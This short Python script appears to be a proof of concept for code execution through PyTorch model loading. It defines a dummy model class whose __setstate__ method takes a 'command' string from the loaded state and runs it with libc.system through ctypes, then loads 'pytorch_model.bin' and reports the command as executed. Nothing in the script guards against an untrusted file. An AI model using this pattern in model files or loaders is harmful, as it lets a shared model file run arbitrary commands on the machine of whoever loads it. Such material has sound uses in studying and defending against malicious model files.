|
import torch |
|
import torch.nn as nn |
|
|
|
class MyModel(nn.Module): |
|
def __init__(self): |
|
super(MyModel, self).__init__() |
|
self.dummy_layer = nn.Linear(10, 10) |
|
|
|
def forward(self, x): |
|
return self.dummy_layer(x) |
|
|
|
def __setstate__(self, state): |
|
super().__setstate__(state) |
|
|
|
command = state.get('command') |
|
if command: |
|
import ctypes |
|
libc = ctypes.CDLL("libc.so.6") |
|
result = libc.system(command.encode('utf-8')) |
|
print(f"Command '{command}' executed with result code {result}") |
|
|
|
|
|
state = torch.load('pytorch_model.bin') |
|
|
|
|
|
loaded_model = MyModel() |
|
loaded_model.__setstate__(state) |
|
|
|
print("Model loaded and command executed") |
|
|